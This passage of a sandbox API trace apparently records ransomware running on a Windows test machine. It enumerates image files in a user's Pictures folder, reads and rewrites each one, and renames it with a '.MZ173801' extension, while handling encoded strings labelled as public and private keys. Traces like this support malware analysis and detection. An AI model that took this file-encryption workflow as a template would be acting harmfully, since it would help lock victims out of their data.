lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.286] GetCurrentThreadId () returned 0xab4 [0153.286] GetCurrentThreadId () returned 0xab4 [0153.286] GetCurrentThreadId () returned 0xab4 [0153.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.287] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.287] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.287] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x1330e [0153.287] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.287] ReadFile (in: hFile=0x294, lpBuffer=0x2515180, nNumberOfBytesToRead=0x1330e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2515180*, lpNumberOfBytesRead=0x19fa18*=0x1330e, lpOverlapped=0x0) returned 1 [0153.288] CloseHandle (hObject=0x294) returned 1 [0153.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.292] WriteFile (in: hFile=0x294, lpBuffer=0x25291b0*, nNumberOfBytesToWrite=0x1330e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x25291b0*, lpNumberOfBytesWritten=0x19fa24*=0x1330e, lpOverlapped=0x0) returned 1 [0153.296] CloseHandle (hObject=0x294) returned 1 [0153.298] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg.mz173801")) returned 1 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] GetCurrentThreadId () returned 0xab4 [0153.299] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9285f9b0, ftCreationTime.dwHighDateTime=0x1d5edcd, ftLastAccessTime.dwLowDateTime=0x525c2140, ftLastAccessTime.dwHighDateTime=0x1d5eef7, ftLastWriteTime.dwLowDateTime=0x525c2140, ftLastWriteTime.dwHighDateTime=0x1d5eef7, nFileSizeHigh=0x0, nFileSizeLow=0x142dd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Jm-pvNoF7ZQ8Z9U.bmp", cAlternateFileName="JM-PVN~1.BMP")) returned 1 [0153.299] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.299] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9285f9b0, ftCreationTime.dwHighDateTime=0x1d5edcd, ftLastAccessTime.dwLowDateTime=0x525c2140, ftLastAccessTime.dwHighDateTime=0x1d5eef7, ftLastWriteTime.dwLowDateTime=0x525c2140, ftLastWriteTime.dwHighDateTime=0x1d5eef7, nFileSizeHigh=0x0, nFileSizeLow=0x142dd)) returned 1 [0153.299] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp")) returned 0x20 [0153.299] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp", dwFileAttributes=0x80) returned 1 [0153.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x250364c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25146ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.302] GetCurrentThreadId () returned 0xab4 [0153.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.303] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.303] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.303] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x142dd [0153.303] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.303] ReadFile (in: hFile=0x294, lpBuffer=0x251c4b0, nNumberOfBytesToRead=0x142dd, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x251c4b0*, lpNumberOfBytesRead=0x19fa18*=0x142dd, lpOverlapped=0x0) returned 1 [0153.304] CloseHandle (hObject=0x294) returned 1 [0153.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.311] WriteFile (in: hFile=0x294, lpBuffer=0x25324e0*, nNumberOfBytesToWrite=0x142dd, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x25324e0*, lpNumberOfBytesWritten=0x19fa24*=0x142dd, lpOverlapped=0x0) returned 1 [0153.317] CloseHandle (hObject=0x294) returned 1 [0153.323] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Jm-pvNoF7ZQ8Z9U.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\jm-pvnof7zq8z9u.bmp.mz173801")) returned 1 [0153.323] GetCurrentThreadId () returned 0xab4 [0153.323] GetCurrentThreadId () returned 0xab4 [0153.323] GetCurrentThreadId () returned 0xab4 [0153.323] GetCurrentThreadId () returned 0xab4 [0153.324] GetCurrentThreadId () returned 0xab4 [0153.324] GetCurrentThreadId () returned 0xab4 [0153.324] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e71480, ftCreationTime.dwHighDateTime=0x1d5e941, ftLastAccessTime.dwLowDateTime=0xaf6ad070, ftLastAccessTime.dwHighDateTime=0x1d5e42a, ftLastWriteTime.dwLowDateTime=0xaf6ad070, ftLastWriteTime.dwHighDateTime=0x1d5e42a, nFileSizeHigh=0x0, nFileSizeLow=0x8a94, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MmiYF.bmp", cAlternateFileName="")) returned 1 [0153.324] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.324] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp" (normalized: 